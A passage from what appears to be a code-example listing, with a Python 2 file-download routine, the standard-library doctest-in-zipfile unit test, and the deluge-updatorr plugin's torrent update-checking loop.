            self.util.msg_log(u'file name from service: {0}'.format(file_name_from_service))
            if file_name_from_service:
                # set new dest_file name
                dest_file = os.path.join(os.path.dirname(dest_file), file_name_from_service)

            self.util.msg_log(u'dest_file: {0}'.format(dest_file))
            # hack for WFS/WM(T)S Services, that don't specify the format as wms, wmts or wfs
            url_low = url.lower()
            if 'wfs' in url_low and 'getcapabilities' in url_low and False is dest_file.endswith('.wfs'):
                if string.find(dest_file, '?') > -1: dest_file = dest_file[:string.find(dest_file, '?')]
                dest_file += '.wfs'
            if 'wmts' in url_low and 'getcapabilities' in url_low and False is dest_file.endswith('.wmts'):
                if string.find(dest_file, '?') > -1: dest_file = dest_file[:string.find(dest_file, '?')]
                dest_file += '.wmts'
            # we use extension wmts for wms too
            if 'wms' in url_low and 'getcapabilities' in url_low and False is dest_file.endswith('.wmts'):
                if string.find(dest_file, '?') > -1: dest_file = dest_file[:string.find(dest_file, '?')]
                dest_file += '.wmts'

            self.util.msg_log(u'dest_file: {0}'.format(dest_file))

            # if file name has been set from service, set again after above changes for wfs/wm(t)s
            if file_name_from_service:
                # set return value to full path
                file_name_from_service = dest_file

            #chunk_size = 1024
            chunk_size = None
            #http://docs.python-requests.org/en/latest/user/advanced/#chunk-encoded-requests
            if self.__is_chunked(response.headers.get('transfer-encoding')):
                self.util.msg_log('response is chunked')
                chunk_size = None

            with open(dest_file, 'wb') as handle:
                for chunk in response.iter_content(chunk_size):
                    if chunk:
                        handle.write(chunk)

            return True, '', file_name_from_service
        except requests.exceptions.ConnectTimeout as cte:
            #self.util.msg_log(u'{0}\n{1}\n\n\n{2}'.format(cte, dir(cte), cte.message))
            return False, self.util.tr(u'cc_connection_timeout').format(cte.message)
        except IOError, e:
            self.util.msg_log("Can't retrieve {0} to {1}: {2}".format(url, dest_file, e))
            return False, self.util.tr(u'cc_download_error').format(e.strerror), None
        except NameError as ne:
            self.util.msg_log(u'{0}'.format(ne))
            return False, ne.message, None
        except:
            return False, self.util.tr(u'cc_download_error').format(sys.exc_info()[0]), None

Example 149

View license
    def test_doctest_issue4197(self):
        # To avoid having to keep two copies of the doctest module's
        # unit tests in sync, this test works by taking the source of
        # test_doctest itself, rewriting it a bit to cope with a new
        # location, and then throwing it in a zip file to make sure
        # everything still works correctly
        test_src = inspect.getsource(test_doctest)
        test_src = test_src.replace(
                         "from test import test_doctest",
                         "import test_zipped_doctest as test_doctest")
        test_src = test_src.replace("test.test_doctest",
                                    "test_zipped_doctest")
        test_src = test_src.replace("test.sample_doctest",
                                    "sample_zipped_doctest")
        sample_src = inspect.getsource(sample_doctest)
        sample_src = sample_src.replace("test.test_doctest",
                                        "test_zipped_doctest")
        with temp_dir() as d:
            script_name = make_script(d, 'test_zipped_doctest',
                                            test_src)
            zip_name, run_name = make_zip_script(d, 'test_zip',
                                                script_name)
            z = zipfile.ZipFile(zip_name, 'a')
            z.writestr("sample_zipped_doctest.py", sample_src)
            z.close()
            if verbose:
                zip_file = zipfile.ZipFile(zip_name, 'r')
                print 'Contents of %r:' % zip_name
                zip_file.printdir()
                zip_file.close()
            os.remove(script_name)
            sys.path.insert(0, zip_name)
            import test_zipped_doctest
            # Some of the doc tests depend on the colocated text files
            # which aren't available to the zipped version (the doctest
            # module currently requires real filenames for non-embedded
            # tests). So we're forced to be selective about which tests
            # to run.
            # doctest could really use some APIs which take a text
            # string or a file object instead of a filename...
            known_good_tests = [
                test_zipped_doctest.SampleClass,
                test_zipped_doctest.SampleClass.NestedClass,
                test_zipped_doctest.SampleClass.NestedClass.__init__,
                test_zipped_doctest.SampleClass.__init__,
                test_zipped_doctest.SampleClass.a_classmethod,
                test_zipped_doctest.SampleClass.a_property,
                test_zipped_doctest.SampleClass.a_staticmethod,
                test_zipped_doctest.SampleClass.double,
                test_zipped_doctest.SampleClass.get,
                test_zipped_doctest.SampleNewStyleClass,
                test_zipped_doctest.SampleNewStyleClass.__init__,
                test_zipped_doctest.SampleNewStyleClass.double,
                test_zipped_doctest.SampleNewStyleClass.get,
                test_zipped_doctest.old_test1,
                test_zipped_doctest.old_test2,
                test_zipped_doctest.old_test3,
                test_zipped_doctest.old_test4,
                test_zipped_doctest.sample_func,
                test_zipped_doctest.test_DocTest,
                test_zipped_doctest.test_DocTestParser,
                test_zipped_doctest.test_DocTestRunner.basics,
                test_zipped_doctest.test_DocTestRunner.exceptions,
                test_zipped_doctest.test_DocTestRunner.option_directives,
                test_zipped_doctest.test_DocTestRunner.optionflags,
                test_zipped_doctest.test_DocTestRunner.verbose_flag,
                test_zipped_doctest.test_Example,
                test_zipped_doctest.test_debug,
                test_zipped_doctest.test_pdb_set_trace,
                test_zipped_doctest.test_pdb_set_trace_nested,
                test_zipped_doctest.test_testsource,
                test_zipped_doctest.test_trailing_space_in_test,
                test_zipped_doctest.test_DocTestSuite,
                test_zipped_doctest.test_DocTestFinder,
            ]
            # These remaining tests are the ones which need access
            # to the data files, so we don't run them
            fail_due_to_missing_data_files = [
                test_zipped_doctest.test_DocFileSuite,
                test_zipped_doctest.test_testfile,
                test_zipped_doctest.test_unittest_reportflags,
            ]
            # Needed for test_DocTestParser and test_debug
            deprecations = [
                # Ignore all warnings about the use of class Tester in this module.
                ("class Tester is deprecated", DeprecationWarning)]
            if sys.py3kwarning:
                deprecations += [
                    ("backquote not supported", SyntaxWarning),
                    ("execfile.. not supported", DeprecationWarning)]
            with test.test_support.check_warnings(*deprecations):
                for obj in known_good_tests:
                    _run_object_doctest(obj, test_zipped_doctest)

Example 150

Project: deluge-updatorr
Source File: core.py
View license
    def walk(self, force=False):
        """Implemets automatic torrent updates process.
        Automatic update is available for torrents selected by user
        and having tracker's page URL in torrent's `comment` field.

        Besides that torrent a tracker handler class should be
        associated with domain from the URL mentioned above.

        If `force` set to a list of torrent IDs, only those
        torrents will be checked for updates.
        If `force` is False every torrent scheduled to updates
        by used will be checked.

        """

        # To prevent possible concurent runs.
        self.walking = True
        try:
            log.info('Updatorr walking...')
            component.get('EventManager').emit(UpdatorrUpdatesCheckStartedEvent())
    
            allow_last_walk_update = False
    
            if isinstance(force, list):
                torrents_list = force
            else:
                torrents_list = self.torrents_to_update
    
            for torrent_id in torrents_list:
                try:
                    torrent_data = self.core.get_torrent_status(torrent_id, [])
                    log.info('Updatorr Processing %s ...' % torrent_data['name'])
                except KeyError:
                    log.debug('Updatorr \tSKIPPED No torrent with id %s listed [yet]' % torrent_id)
                    continue
                # Remove not url data from comment
                torrent_data['comment'] = RE_LINK.search(torrent_data['comment']).group('url')
                if not is_url(torrent_data['comment']):
                    log.info('Updatorr \tSKIPPED No URL found in torrent comment')
                    continue
                # From now on we consider that update took its place.
                # If only this update is not forced.
                if not force:
                    allow_last_walk_update = True
                tracker_handler = get_tracker_handler(torrent_data, log)
                if tracker_handler is None:
                    self.dump_error(torrent_id, 'Unable to find tracker handler for %s' % torrent_data['comment'])
                    continue
                tracker_handler.set_settings(self.trackers_settings.get(tracker_handler.tracker_host))
                new_torrent_filepath = tracker_handler.get_torrent_file()
                if new_torrent_filepath is None:
                    self.dump_error(torrent_id, 'Error in tracker handling: %s' % tracker_handler.get_error_text())
                    continue
    
                # Let's store cookies form that tracker to enter without logins in future sessions.
                self.trackers_settings[tracker_handler.tracker_host]['cookies'] = tracker_handler.get_cookies(as_dict=True)
    
                new_torrent_contents = read_torrent_file(new_torrent_filepath)
                new_torrent_info = read_torrent_info(new_torrent_contents)
                if torrent_data['hash'] == new_torrent_info['hash']:
                    log.info('Updatorr \tSKIPPED Torrent is up-to-date')
                    continue
                log.info('Updatorr \tTorrent update is available')
    
                new_torrent_prefs = get_new_prefs(torrent_data, new_torrent_info)
                added_torrent_id = self.core.add_torrent_file(None, base64.encodestring(new_torrent_contents), new_torrent_prefs)
    
                if added_torrent_id is not None:
                    self.core.remove_torrent(torrent_id, False)
                    log.info('Updatorr \tTorrent is updated')
                    # Fire up update finished event.
                    component.get('EventManager').emit(UpdatorrUpdateDoneEvent(new_torrent_info['hash']))
                    # Add new torrent hash to continue autoupdates.
                    self.set_items_to_update(new_torrent_info['hash'], True)
                    # Remove old torrent from autoupdates list.
                    self.set_items_to_update(torrent_id, False)
                else:
                    self.dump_error(torrent_id, 'Unable to replace current torrent with a new one')
    
                # No littering, remove temporary .torrent file.
                os.remove(new_torrent_filepath)
    
            if allow_last_walk_update:
                # Remember lastrun time.
                self.last_walk = time.time()
    
            log.info('Updatorr walk is finished')
            component.get('EventManager').emit(UpdatorrUpdatesCheckFinishedEvent())
        except:
            log.error(traceback.format_exc())    
        finally:    
            self.walking = False